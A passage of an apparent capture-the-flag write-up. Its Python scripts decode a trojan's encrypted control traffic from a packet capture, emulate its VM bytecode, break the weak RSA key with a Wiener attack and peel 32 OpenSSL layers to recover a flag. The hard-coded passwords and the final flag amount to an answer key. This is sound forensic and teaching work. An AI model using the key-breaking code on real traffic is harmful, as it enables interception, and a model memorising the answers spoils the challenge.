        if opcode == 2:
            self.regs[reg] = self.regs[src_reg]
            self.pc += 3
            return
        if opcode == 3:
            addr = self.regs[src_reg]
            self.regs[reg] = self.read_u8(addr)
            self.pc += 3
            return
        if opcode == 4:
            addr = self.regs[reg]
            self.write_u8(addr, self.regs[src_reg])
            self.pc += 3
            return
        if opcode == 16:
            self.regs[reg] = (self.regs[reg] + self.regs[src_reg]) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 17:
            self.regs[reg] = (self.regs[reg] - self.regs[src_reg]) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 18:
            self.regs[reg] = (self.regs[reg] * self.regs[src_reg]) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 19:
            self.regs[reg] = (self.regs[reg] ^ self.regs[src_reg]) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 20:
            self.regs[reg] &= self.regs[src_reg]
            self.regs[reg] &= 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 21:
            self.regs[reg] |= self.regs[src_reg]
            self.regs[reg] &= 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 22:
            self.regs[reg] = (~self.regs[reg]) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 2
            return
        if opcode == 23:
            self.regs[reg] = (self.regs[reg] << (self.regs[src_reg] & 31)) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 24:
            self.regs[reg] = (self.regs[reg] & 0xFFFFFFFF) >> (self.regs[src_reg] & 31)
            self.update_arith_flags(self.regs[reg])
            self.pc += 3
            return
        if opcode == 25:
            shift = self.regs[src_reg] & 31
            value = self.regs[reg] & 0xFFFFFFFF
            self.regs[reg] = ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFF if shift else value
            self.pc += 3
            return
        if opcode == 26:
            shift = self.regs[src_reg] & 31
            value = self.regs[reg] & 0xFFFFFFFF
            self.regs[reg] = ((value >> shift) | (value << (32 - shift))) & 0xFFFFFFFF if shift else value
            self.pc += 3
            return
        if opcode == 32:
            self.sp = (self.sp - 4) & 0xFFFFFFFF
            self.write_u32(self.sp, self.regs[reg])
            self.pc += 2
            return
        if opcode == 33:
            self.regs[reg] = self.read_u32(self.sp)
            self.sp = (self.sp + 4) & 0xFFFFFFFF
            self.pc += 2
            return
        if opcode == 48:
            self.op_compare(self.regs[reg], self.regs[src_reg])
            self.pc += 3
            return
        if opcode == 49:
            self.pc = self.imm32()
            return
        if opcode == 50:
            target = self.imm32()
            self.pc = target if (self.flags & 1) else self.pc + 5
            return
        if opcode == 51:
            target = self.imm32()
            self.pc = target if not (self.flags & 1) else self.pc + 5
            return
        if opcode == 52:
            target = self.imm32()
            self.pc = target if (self.flags & 3) == 0 else self.pc + 5
            return
        if opcode == 53:
            target = self.imm32()
            self.pc = target if (self.flags & 2) else self.pc + 5
            return
        if opcode == 64:
            target = self.imm32()
            self.sp = (self.sp - 4) & 0xFFFFFFFF
            self.write_u32(self.sp, self.pc + 5)
            self.pc = target
            return
        if opcode == 65:
            self.pc = self.read_u32(self.sp)
            self.sp = (self.sp + 4) & 0xFFFFFFFF
            return
        if opcode == 80:
            subcode = self.read_u8(self.pc + 1)
            self.pc += 2
            if subcode == 0:
                command = self.c_string(self.regs[0]).decode("latin1", errors="replace")
                self.commands.append(command)
            elif subcode == 1:
                copied = self.c_string(self.regs[0])
                self.output.extend(copied)
                self.copied_strings.append(copied.decode("latin1", errors="replace"))
            return
        if opcode == 96:
            self.regs[reg] = (self.regs[reg] + self.imm32_reg()) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 6
            return
        if opcode == 97:
            self.regs[reg] = (self.regs[reg] ^ self.imm32_reg()) & 0xFFFFFFFF
            self.update_arith_flags(self.regs[reg])
            self.pc += 6
            return
        if opcode == 98:
            addr = self.imm32()
            value = self.read_u8(self.pc + 5)
            self.write_u8(addr, value)
            self.pc += 6
            return
        raise VmHalt(f"unsupported_opcode_{opcode}")


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="Decode the trojan bash DSMV control stream from a pcapng.")
    parser.add_argument("pcap", type=pathlib.Path, help="Path to captchated.pcapng")
    parser.add_argument("--stream", type=int, default=1, help="TCP stream index to decode (default: 1)")
    parser.add_argument(
        "--output-dir",
        type=pathlib.Path,
        default=pathlib.Path("decoded_stream"),
        help="Directory used for extracted packets (default: decoded_stream)",
    )
    parser.add_argument("--tshark", default="tshark", help="Path to tshark binary")
    return parser.parse_args()


def run_tshark(pcap: pathlib.Path, stream: int, tshark: str) -> str:
    if shutil.which(tshark) is None:
        raise SystemExit(f"tshark not found: {tshark}")

    proc = subprocess.run(
        [tshark, "-r", str(pcap), "-q", "-z", f"follow,tcp,raw,{stream}"],
        capture_output=True,
        text=True,
        check=False,
    )
    if proc.returncode != 0:
        raise SystemExit(proc.stderr.strip() or "tshark failed")
    return proc.stdout


def parse_follow_output(output: str) -> tuple[dict[int, str], dict[int, bytes]]:
    node_labels: dict[int, str] = {}
    directions = {0: bytearray(), 1: bytearray()}

    for raw_line in output.splitlines():
        line = raw_line.rstrip("\n")
        stripped = line.strip()
        if not stripped:
            continue
        if stripped.startswith("Node "):
            prefix, value = stripped.split(":", 1)
            try:
                node_index = int(prefix.split()[1])
            except (IndexError, ValueError):
                continue
            node_labels[node_index] = value.strip()
            continue
        if stripped.startswith("===") or stripped.startswith("Follow:") or stripped.startswith("Filter:"):
            continue
        if not HEX_LINE_RE.fullmatch(stripped):
            continue
        direction = 1 if line.startswith("\t") else 0
        directions[direction].extend(bytes.fromhex(stripped))

    return node_labels, {key: bytes(value) for key, value in directions.items()}


def parse_packets(stream_data: bytes) -> list[Packet]:
    packets: list[Packet] = []
    cursor = 0
    index = 0
    while cursor + 16 <= len(stream_data):
        if stream_data[cursor : cursor + 4] != MAGIC:
            next_magic = stream_data.find(MAGIC, cursor + 1)
            if next_magic < 0:
                break
            cursor = next_magic
            continue

        packet_type, payload_len = struct.unpack_from(">II", stream_data, cursor + 4)
        packet_end = cursor + 12 + payload_len + 4
        if packet_end > len(stream_data):
            break

        payload = stream_data[cursor + 12 : cursor + 12 + payload_len]
        crc = struct.unpack_from(">I", stream_data, cursor + 12 + payload_len)[0]
        packets.append(Packet(offset=cursor, index=index, packet_type=packet_type, payload=payload, crc=crc))
        index += 1
        cursor = packet_end

    return packets


def extract_key(packets: Iterable[Packet]) -> tuple[int, int] | None:
    for packet in packets:
        if packet.packet_type != 1:
            continue
        try:
            modulus_hex, exponent_hex = packet.payload.decode("ascii").split("|", 1)
            return int(modulus_hex, 16), int(exponent_hex, 16)
        except (UnicodeDecodeError, ValueError):
            return None
    return None


def rsa_blocks(payload: bytes, modulus: int, exponent: int, in_block: int, out_block: int) -> bytes:
    if len(payload) % in_block != 0:
        raise ValueError(f"payload length {len(payload)} is not a multiple of {in_block}")

    result = bytearray()
    for offset in range(0, len(payload), in_block):
        chunk = payload[offset : offset + in_block]
        value = int.from_bytes(chunk, "big")
        decoded = pow(value, exponent, modulus)
        raw = decoded.to_bytes((decoded.bit_length() + 7) // 8, "big") if decoded else b""
        if len(raw) > out_block:
            result.extend(b"\x00" * out_block)
            continue
        result.extend(b"\x00" * (out_block - len(raw)))
        result.extend(raw)
    return bytes(result)


def printable_strings(data: bytes, min_len: int = 4) -> list[str]:
    matches = re.findall(rb"[ -~]{%d,}" % min_len, data)
    return [match.decode("ascii", errors="replace") for match in matches]


def describe_plaintext(packet: Packet, plaintext: bytes) -> DecryptedPacket:
    declared_length: int | None = None
    body = plaintext
    if len(plaintext) >= 4:
        declared_length = int.from_bytes(plaintext[:4], "big")
        body_end = 4 + declared_length
        if 0 <= declared_length <= len(plaintext) - 4:
            body = plaintext[4:body_end]
    return DecryptedPacket(
        packet=packet,
        decrypted=plaintext,
        declared_length=declared_length,
        body=body,
        printable_strings=printable_strings(body),
    )


def analyze_vm(body: bytes) -> VmTrace | None:
    if not body:
        return None
    vm = VmInterpreter(body)
    return vm.run()


def safe_type_name(packet_type: int) -> str:
    return TYPE_NAMES.get(packet_type, f"type_{packet_type}")


def write_packet_artifacts(
    output_dir: pathlib.Path,
    direction_name: str,
    packet: Packet,
    decrypted: DecryptedPacket | None,
    vm_trace: VmTrace | None,
) -> None:
    base = f"{packet.index:03d}_{safe_type_name(packet.packet_type)}"
    raw_path = output_dir / direction_name / f"{base}.raw.bin"
    raw_path.parent.mkdir(parents=True, exist_ok=True)
    raw_path.write_bytes(packet.payload)

    if decrypted is None:
        return

    (output_dir / direction_name / f"{base}.dec.bin").write_bytes(decrypted.decrypted)
    (output_dir / direction_name / f"{base}.body.bin").write_bytes(decrypted.body)
    summary = [
        f"packet_type: {packet.packet_type} ({safe_type_name(packet.packet_type)})",
        f"payload_len: {len(packet.payload)}",
        f"declared_length: {decrypted.declared_length}",
    ]
    if decrypted.printable_strings:
        summary.append("printable_strings:")
        summary.extend(decrypted.printable_strings)
    else:
        summary.append("printable_strings: <none>")
    if vm_trace is not None:
        summary.append(f"vm_steps: {vm_trace.steps}")
        summary.append(f"vm_halted: {vm_trace.halted}")
        summary.append(f"vm_exit_reason: {vm_trace.exit_reason}")
        summary.append(f"vm_flags: {vm_trace.final_flags}")
        summary.append("vm_regs: " + ", ".join(f"r{i}=0x{value:08x}" for i, value in enumerate(vm_trace.final_regs)))
        if vm_trace.commands:
            summary.append("vm_commands:")
            summary.extend(vm_trace.commands)
        if vm_trace.copied_strings:
            summary.append("vm_copied_strings:")
            summary.extend(vm_trace.copied_strings)
    (output_dir / direction_name / f"{base}.txt").write_text("\n".join(summary) + "\n")


def build_report(
    node_labels: dict[int, str],
    packets_by_direction: dict[int, list[Packet]],
    decoded_packets: dict[tuple[int, int], DecryptedPacket],
    vm_traces: dict[tuple[int, int], VmTrace],
    key: tuple[int, int] | None,
) -> str:
    lines = []
    if key is not None:
        modulus, exponent = key
        lines.append(f"RSA modulus bits: {modulus.bit_length()}")
        lines.append(f"RSA exponent: 0x{exponent:x}")
    else:
        lines.append("RSA key: <not recovered>")
    lines.append("")

    for direction in (0, 1):
        label = node_labels.get(direction, f"node_{direction}")
        lines.append(f"Direction {direction}: {label}")
        for packet in packets_by_direction.get(direction, []):
            lines.append(
                f"  [{packet.index:03d}] type={packet.packet_type} ({safe_type_name(packet.packet_type)}) "
                f"payload_len={len(packet.payload)} crc=0x{packet.crc:08x}"
            )
            decrypted = decoded_packets.get((direction, packet.index))
            if decrypted is None:
                continue
            lines.append(
                f"      decrypted_len={len(decrypted.decrypted)} declared_len={decrypted.declared_length} body_len={len(decrypted.body)}"
            )
            vm_trace = vm_traces.get((direction, packet.index))
            if vm_trace is not None:
                lines.append(
                    f"      vm_steps={vm_trace.steps} halted={vm_trace.halted} exit={vm_trace.exit_reason} flags={vm_trace.final_flags}"
                )
                for command in vm_trace.commands:
                    lines.append(f"      command: {command}")
            for item in decrypted.printable_strings[:8]:
                lines.append(f"      ascii: {item}")
        lines.append("")
    return "\n".join(lines)


def main() -> int:
    args = parse_args()
    if not args.pcap.exists():
        raise SystemExit(f"pcap does not exist: {args.pcap}")

    follow_output = run_tshark(args.pcap, args.stream, args.tshark)
    node_labels, streams = parse_follow_output(follow_output)
    packets_by_direction = {direction: parse_packets(data) for direction, data in streams.items()}

    key = None
    for direction in (0, 1):
        key = extract_key(packets_by_direction[direction])
        if key is not None:
            break

    decoded_packets: dict[tuple[int, int], DecryptedPacket] = {}
    vm_traces: dict[tuple[int, int], VmTrace] = {}
    if key is not None:
        modulus, exponent = key
        for direction, packets in packets_by_direction.items():
            for packet in packets:
                if packet.packet_type not in (2, 3):
                    continue
                try:
                    plaintext = rsa_blocks(packet.payload, modulus, exponent, 128, 126)
                except ValueError:
                    continue
                decoded = describe_plaintext(packet, plaintext)
                decoded_packets[(direction, packet.index)] = decoded
                trace = analyze_vm(decoded.body)
                if trace is not None:
                    vm_traces[(direction, packet.index)] = trace

    output_dir = args.output_dir / f"stream_{args.stream}"
    output_dir.mkdir(parents=True, exist_ok=True)
    for direction, packets in packets_by_direction.items():
        label = node_labels.get(direction, f"node_{direction}")
        direction_name = f"node_{direction}_{label.replace(':', '_').replace('/', '_')}"
        for packet in packets:
            write_packet_artifacts(
                output_dir,
                direction_name,
                packet,
                decoded_packets.get((direction, packet.index)),
                vm_traces.get((direction, packet.index)),
            )

    report = build_report(node_labels, packets_by_direction, decoded_packets, vm_traces, key)
    report_path = output_dir / "report.txt"
    report_path.write_text(report + "\n")
    print(report_path)
    return 0


if __name__ == "__main__":
    sys.exit(main())

2. recover_flag.py

作用:

  • 接收 flag.enc.32.tar 的文件或 Base64
  • 按恢复出的 32 个密码逆序解密
  • 最终还原 flag.tar 和 flag.txt
#!/usr/bin/env python3

from __future__ import annotations

import argparse
import base64
import binascii
import pathlib
import shutil
import subprocess
import sys
import tarfile


PASSWORDS = [
    "QEb9r8PupdebQS0QMpwc3L0yFTuGUffE",
    "FJ3s3gbJKtMYxogxZaSP9k7S1Lp0CgKD",
    "qTaaLFregMxMLUskVjpOPWlg84Tks2zi",
    "fWoOJijarThU8GtGWOPA6JLU3ys7K9nm",
    "ztExnwxSn1L9AuLrHJ4sc04zGDlusoec",
    "jzRIDkFR5OR9TVJrNiwJZTc6TghRWqF7",
    "iGLxZS6B9EZR7WDW0rHgR3WekMbHA8YO",
    "IXnln2L6C7oaDcm9IpnJgAsxDnQIxYMi",
    "FE84iIynnTzpsV8T6kAOCT6KLNGPO6wy",
    "3NyzDUQ61YgG9OiQj7sr426tFz51SQoW",
    "zEoX4x9IYm1XtJKvzPMsIO7iTjloGIku",
    "hOyLC6ram3NAoZzHJiQg4UMh4kgJQ5sS",
    "Xq26UHKzoApqGtjo4uNdIldn30PRnCYJ",
    "n0FaMvSbx7H76remVJkJOkPSJ8Rc3fzg",
    "z7QB1FhtwwDdQPT4hz91N9MQ2FvQ5iwR",
    "9KveUokdDQ6qOBpxpUs1hicRGOJ8u8h1",
    "tQdhQTP3EcI0r3T8MsGwk1V6P44J8ofp",
    "2jcxs9D2BDiQU1DyNafBLPaXbbhOIDQP",
    "bdpszr6xx97ISyxJwYKieVcoV9OdtJho",
    "294Y6SAlHVVIAEVEsiVlJmiE8FgQvUor",
    "lJydYO9JSE4yS6rS2deAlNM4sct8k0GR",
    "hhh8rBsFgzCYJAlRSZuFfUvF04xuK2QL",
    "uEGUaG3vY0FmtrmmWVCiMclk25lrATEx",
    "K9X62EkSgjqEhImsI2HR15Q8Zl3VMWCq",
    "fqK5US8FMEvW0pT8XtjVmaVgMP7k6bef",
    "vauQQxeGfUUSLuGPfs8OYtltlgQBogg8",
    "Nbspk9zX0iJyPV31mvrQWJix6ZyEbeuj",
    "01kkdF1niU6XF4i5eX49F03lP7X3o2dk",
    "cpZmcjDL7QAk12Q4en8xLUIr5CAkOVZO",
    "Xsx6BG0KRD2irPMyf7fBFciVUUVEVd3n",
    "1PziNEeQxAqDMnhdSzQJpzCY630LPgd3",
    "Ps8UDAQToV3xUVmGTNZ8bZOuM2UmYJwa",
]


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Reverse the 32-layer OpenSSL chain recovered from the evil bash pcap."
    )
    parser.add_argument(
        "--encrypted",
        type=pathlib.Path,
        help="Path to the final encrypted tarball (flag.enc.32.tar).",
    )
    parser.add_argument(
        "--base64-file",
        type=pathlib.Path,
        help="Path to a file containing the exfiltrated Base64 text for flag.enc.32.tar.",
    )
    parser.add_argument(
        "--base64-text",
        help="Inline Base64 text for flag.enc.32.tar.",
    )
    parser.add_argument(
        "--work-dir",
        type=pathlib.Path,
        default=pathlib.Path("recovered_flag"),
        help="Directory where intermediate and recovered files are written.",
    )
    parser.add_argument(
        "--keep-intermediates",
        action="store_true",
        help="Keep every intermediate flag.enc.N.tar file after decryption.",
    )
    parser.add_argument(
        "--openssl",
        default="openssl",
        help="Path to the openssl executable.",
    )
    return parser.parse_args()


def ensure_openssl(openssl_bin: str) -> None:
    if shutil.which(openssl_bin) is None:
        raise SystemExit(f"openssl not found: {openssl_bin}")


def decode_base64_payload(text: str) -> bytes:
    compact = "".join(text.split())
    try:
        return base64.b64decode(compact, validate=True)
    except binascii.Error as exc:
        raise SystemExit(f"invalid Base64 input: {exc}") from exc


def load_encrypted_input(args: argparse.Namespace) -> tuple[bytes, str]:
    if args.encrypted is not None:
        return args.encrypted.read_bytes(), args.encrypted.name
    if args.base64_file is not None:
        return decode_base64_payload(args.base64_file.read_text()), "flag.enc.32.tar"
    if args.base64_text is not None:
        return decode_base64_payload(args.base64_text), "flag.enc.32.tar"
    raise SystemExit("one of --encrypted, --base64-file, or --base64-text is required")


def decrypt_once(openssl_bin: str, input_path: pathlib.Path, output_path: pathlib.Path, password: str) -> None:
    proc = subprocess.run(
        [
            openssl_bin,
            "enc",
            "-d",
            "-aes-256-cbc",
            "-salt",
            "-pbkdf2",
            "-pass",
            f"pass:{password}",
            "-in",
            str(input_path),
            "-out",
            str(output_path),
        ],
        capture_output=True,
        text=True,
        check=False,
    )
    if proc.returncode != 0:
        stderr = proc.stderr.strip() or proc.stdout.strip() or "openssl decryption failed"
        raise SystemExit(f"failed to decrypt {input_path.name}: {stderr}")


def extract_tar(tar_path: pathlib.Path, output_dir: pathlib.Path) -> list[pathlib.Path]:
    extracted: list[pathlib.Path] = []
    with tarfile.open(tar_path, "r") as tar_file:
        for member in tar_file.getmembers():
            tar_file.extract(member, output_dir)
            extracted.append(output_dir / member.name)
    return extracted


def main() -> int:
    args = parse_args()
    ensure_openssl(args.openssl)

    payload, input_name = load_encrypted_input(args)
    work_dir = args.work_dir
    work_dir.mkdir(parents=True, exist_ok=True)

    current_path = work_dir / input_name
    current_path.write_bytes(payload)

    for layer, password in zip(range(32, 0, -1), reversed(PASSWORDS), strict=True):
        if layer == 1:
            next_path = work_dir / "flag.tar"
        else:
            next_path = work_dir / f"flag.enc.{layer - 1}.tar"
        decrypt_once(args.openssl, current_path, next_path, password)
        if not args.keep_intermediates and current_path != work_dir / input_name:
            current_path.unlink(missing_ok=True)
        current_path = next_path

    extracted_dir = work_dir / "extracted"
    extracted_dir.mkdir(parents=True, exist_ok=True)
    extracted = extract_tar(current_path, extracted_dir)

    print(f"decrypted_archive={current_path}")
    for path in extracted:
        print(f"extracted={path}")
    return 0


if __name__ == "__main__":
    sys.exit(main())

3. analyze_rsa_exfil.py

这是把后半段当密码题处理时新增的脚本,作用:

  • 读取握手里的 n,e
  • 做 bounded weak-factor 检查
  • 自动跑 Wiener attack
  • 在拿到 d 后直接解密最终 type 3 外传包
#!/usr/bin/env python3

from __future__ import annotations

import argparse
import math
import pathlib
import re
from typing import Iterable

from sympy import factorint
from sympy.ntheory.factor_ import pollard_pm1, pollard_rho


DEFAULT_STREAM_DIR = pathlib.Path("decoded_stream/stream_1")
HANDSHAKE_PATH = DEFAULT_STREAM_DIR / "node_1_127.0.0.1_9999" / "000_handshake.raw.bin"
CLIENT_DIR = DEFAULT_STREAM_DIR / "node_0_127.0.0.1_42594"
DEFAULT_CLIENT_PACKETS = [36, 37]


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Analyze the RSA-backed DSMV exfil flow and optionally decrypt final type-3 packets."
    )
    parser.add_argument(
        "--handshake",
        type=pathlib.Path,
        default=HANDSHAKE_PATH,
        help=f"Path to handshake payload (default: {HANDSHAKE_PATH})",
    )
    parser.add_argument(
        "--client-dir",
        type=pathlib.Path,
        default=CLIENT_DIR,
        help=f"Directory containing client payload artifacts (default: {CLIENT_DIR})",
    )
    parser.add_argument(
        "--packets",
        type=int,
        nargs="+",
        default=DEFAULT_CLIENT_PACKETS,
        help="Client packet indices to decrypt (default: 36 37)",
    )
    parser.add_argument(
        "--output-dir",
        type=pathlib.Path,
        default=pathlib.Path("rsa_exfil_analysis"),
        help="Directory for recovered artifacts (default: rsa_exfil_analysis)",
    )
    parser.add_argument(
        "--private-exponent",
        help="Private exponent d as hex or decimal. If set, decrypt candidate type-3 packets.",
    )
    parser.add_argument("--p", help="Prime factor p as hex or decimal.")
    parser.add_argument("--q", help="Prime factor q as hex or decimal.")
    parser.add_argument(
        "--attempt-weak-factor",
        action="store_true",
        help="Run bounded weak-factor checks (small factors, Pollard p-1, Pollard rho).",
    )
    return parser.parse_args()


def parse_int(text: str) -> int:
    text = text.strip()
    return int(text, 16) if text.startswith("0x") else int(text, 0)


def load_handshake(path: pathlib.Path) -> tuple[int, int]:
    modulus_hex, exponent_hex = path.read_text().strip().split("|", 1)
    return int(modulus_hex, 16), int(exponent_hex, 16)


def egcd(a: int, b: int) -> tuple[int, int, int]:
    if b == 0:
        return a, 1, 0
    gcd_value, x1, y1 = egcd(b, a % b)
    return gcd_value, y1, x1 - (a // b) * y1


def mod_inverse(value: int, modulus: int) -> int:
    gcd_value, x, _ = egcd(value, modulus)
    if gcd_value != 1:
        raise ValueError(f"inverse does not exist: gcd({value}, {modulus}) = {gcd_value}")
    return x % modulus


def weak_factor_checks(modulus: int) -> dict[str, object]:
    result: dict[str, object] = {}
    result["small_factor_scan"] = factorint(modulus, limit=10**6)
    result["pollard_pm1_B1_1e5"] = pollard_pm1(modulus, B=10**5, a=2, retries=1)
    result["pollard_pm1_B1_1e6"] = pollard_pm1(modulus, B=10**6, a=2, retries=1)
    result["pollard_rho"] = pollard_rho(modulus, retries=3, max_steps=200000)
    return result


def continued_fraction(numerator: int, denominator: int) -> list[int]:
    terms: list[int] = []
    while denominator:
        quotient = numerator // denominator
        terms.append(quotient)
        numerator, denominator = denominator, numerator - quotient * denominator
    return terms


def convergents(terms: list[int]) -> list[tuple[int, int]]:
    values: list[tuple[int, int]] = []
    p0, p1 = 0, 1
    q0, q1 = 1, 0
    for term in terms:
        p0, p1 = p1, term * p1 + p0
        q0, q1 = q1, term * q1 + q0
        values.append((p1, q1))
    return values


def is_perfect_square(value: int) -> int | None:
    if value < 0:
        return None
    root = math.isqrt(value)
    return root if root * root == value else None


def wiener_attack(public_exponent: int, modulus: int) -> int | None:
    terms = continued_fraction(public_exponent, modulus)
    for k, d in convergents(terms):
        if k == 0:
            continue
        ed_minus_1 = public_exponent * d - 1
        if ed_minus_1 % k != 0:
            continue
        phi = ed_minus_1 // k
        s = modulus - phi + 1
        discriminant = s * s - 4 * modulus
        root = is_perfect_square(discriminant)
        if root is None:
            continue
        if (s + root) % 2 or (s - root) % 2:
            continue
        p = (s + root) // 2
        q = (s - root) // 2
        if p * q == modulus:
            return d
    return None


def rsa_block_transform(payload: bytes, modulus: int, exponent: int, in_block: int = 128, out_block: int = 126) -> bytes:
    if len(payload) % in_block != 0:
        raise ValueError(f"payload length {len(payload)} is not a multiple of {in_block}")

    result = bytearray()
    for offset in range(0, len(payload), in_block):
        chunk = payload[offset : offset + in_block]
        value = int.from_bytes(chunk, "big")
        decoded = pow(value, exponent, modulus)
        raw = decoded.to_bytes((decoded.bit_length() + 7) // 8, "big") if decoded else b""
        if len(raw) > out_block:
            raise ValueError(f"block at offset {offset} expanded to {len(raw)} bytes (> {out_block})")
        result.extend(b"\x00" * (out_block - len(raw)))
        result.extend(raw)
    return bytes(result)


def printable_strings(data: bytes, min_len: int = 4) -> list[str]:
    matches = re.findall(rb"[ -~]{%d,}" % min_len, data)
    return [match.decode("ascii", errors="replace") for match in matches]


def candidate_bodies(plaintext: bytes) -> list[tuple[str, bytes]]:
    candidates = [("full", plaintext)]
    if len(plaintext) >= 4:
        declared = int.from_bytes(plaintext[:4], "big")
        if 0 <= declared <= len(plaintext) - 4:
            candidates.append((f"declared_{declared}", plaintext[4 : 4 + declared]))
    return candidates


def decrypt_packets(
    client_dir: pathlib.Path,
    packet_indices: Iterable[int],
    modulus: int,
    private_exponent: int,
    output_dir: pathlib.Path,
) -> list[pathlib.Path]:
    output_dir.mkdir(parents=True, exist_ok=True)
    outputs: list[pathlib.Path] = []

    merged_full = bytearray()
    for packet_index in packet_indices:
        raw_path = client_dir / f"{packet_index:03d}_client_payload.raw.bin"
        payload = raw_path.read_bytes()
        plaintext = rsa_block_transform(payload, modulus, private_exponent)
        merged_full.extend(plaintext)

        base = output_dir / f"{packet_index:03d}_client_payload"
        (base.with_suffix(".dec.bin")).write_bytes(plaintext)

        summary_lines = [
            f"packet_index: {packet_index}",
            f"payload_len: {len(payload)}",
            f"plaintext_len: {len(plaintext)}",
        ]
        for label, body in candidate_bodies(plaintext):
            summary_lines.append(f"candidate: {label} len={len(body)}")
            strings = printable_strings(body)
            if strings:
                summary_lines.extend(f"  ascii: {item}" for item in strings[:32])
        summary_path = base.with_suffix(".txt")
        summary_path.write_text("\n".join(summary_lines) + "\n")
        outputs.append(summary_path)

    merged_path = output_dir / "merged_full_plaintext.bin"
    merged_path.write_bytes(bytes(merged_full))
    merged_ascii = output_dir / "merged_printable.txt"
    merged_ascii.write_text("\n".join(printable_strings(bytes(merged_full), min_len=8)) + "\n")
    outputs.extend([merged_path, merged_ascii])
    return outputs


def main() -> int:
    args = parse_args()
    modulus, public_exponent = load_handshake(args.handshake)

    print(f"modulus_bits={modulus.bit_length()}")
    print(f"public_exponent=0x{public_exponent:x}")

    wiener_d = wiener_attack(public_exponent, modulus)
    print(f"wiener_private_exponent={None if wiener_d is None else hex(wiener_d)}")

    if args.attempt_weak_factor:
        checks = weak_factor_checks(modulus)
        for key, value in checks.items():
            print(f"{key}={value}")

    private_exponent: int | None = None
    if args.private_exponent is not None:
        private_exponent = parse_int(args.private_exponent)
    elif args.p is not None and args.q is not None:
        p = parse_int(args.p)
        q = parse_int(args.q)
        if p * q != modulus:
            raise SystemExit("provided p and q do not multiply to the handshake modulus")
        phi = math.lcm(p - 1, q - 1)
        private_exponent = mod_inverse(public_exponent, phi)
        print(f"derived_private_exponent=0x{private_exponent:x}")

    if private_exponent is not None:
        written = decrypt_packets(args.client_dir, args.packets, modulus, private_exponent, args.output_dir)
        for path in written:
            print(path)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
flag{w13n3r_4tt4ck_vm_r3v3rs3_m4st3r_uOcslSotTK0nATY58heOix6l4cyByJtWm5IDiMj02qKXdulC8BIY4pA3oPR9JXJhY88oy8dylqtpNgDTMUY0vjj4H9fiSOjgvedz}